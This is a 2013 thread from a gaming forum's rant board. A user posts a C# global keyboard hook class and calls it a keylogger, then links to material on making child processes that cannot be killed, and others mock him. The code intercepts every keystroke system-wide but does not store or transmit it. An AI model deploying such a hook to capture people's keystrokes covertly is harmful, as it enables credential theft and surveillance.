Project 1999

Project 1999 (/forums/index.php)
-   Rants and Flames (/forums/forumdisplay.php?f=30)
-   -   yea its a keylogger (/forums/showthread.php?t=111875)

r00t 06-13-2013 03:19 PM

yea its a keylogger
 
http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspx

use linux

r00t 06-13-2013 03:21 PM

http://i.imgur.com/Ikb4OZE.png

r00t 06-13-2013 03:26 PM

Code:

using System;
using System.Collections.Generic;
using System.Text;

namespace KHook
{
    public class KeyboardHook : IDisposable
    {
        #region Events
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        public delegate void HookEventHandler(object sender, KeyboardHookEventArgs e);
        public event HookEventHandler KeyDown;
        public event HookEventHandler KeyUp;
        #endregion

        #region Constants
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSKEYDOWN = 0x0104;
        private LowLevelKeyboardProc _proc = null;
        private static IntPtr _hookID = IntPtr.Zero;
        #endregion

        #region Imports
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        #endregion

        #region Constructor
        public KeyboardHook()
        {
            _proc = new LowLevelKeyboardProc(HookCallback);
            _hookID = SetHook(_proc);
        }

        #endregion


        #region Methods
        private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            //if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                WinForms.Keys key = (WinForms.Keys)vkCode;
                if (this.KeyDown != null)
                    this.KeyDown(this, new KeyboardHookEventArgs(vkCode));
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        #endregion

        #region Destructor
        public void Dispose()
        {
            UnhookWindowsHookEx(_hookID);
        }
        #endregion
    }
}


Hasbinbad 06-13-2013 04:10 PM

i like how you've left the steak tab open.. i really do recommend doing it.

r00t 06-13-2013 04:11 PM

maybe for 2 hours

Hasbinbad 06-13-2013 04:14 PM

so i forgot if i clicked on salty's virus link or not, how do I find the keylogger and kill it if i have it?

r00t 06-13-2013 04:16 PM

I made this helpful tutorial to remove it

http://www.youtube.com/watch?v=k9u67u82a74

r00t 06-13-2013 04:23 PM

HOW TO SPAWN CHILDREN THAT CANNOT BE KILLED

http://stackoverflow.com/questions/1...y-process-tree

Lubian 06-13-2013 04:36 PM

Oh amazing you learned how to do a PInvoke and copy and paste code.</sarcasm>

Really, you need to stop posting and embarrassing yourself.

Well at least you win the award for getting the most downvotes I've seen for a SO question in 15 minutes.

Ishukone 06-13-2013 04:38 PM

shut the fuck up nerd


All times are GMT -4. The time now is 05:47 PM.

Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.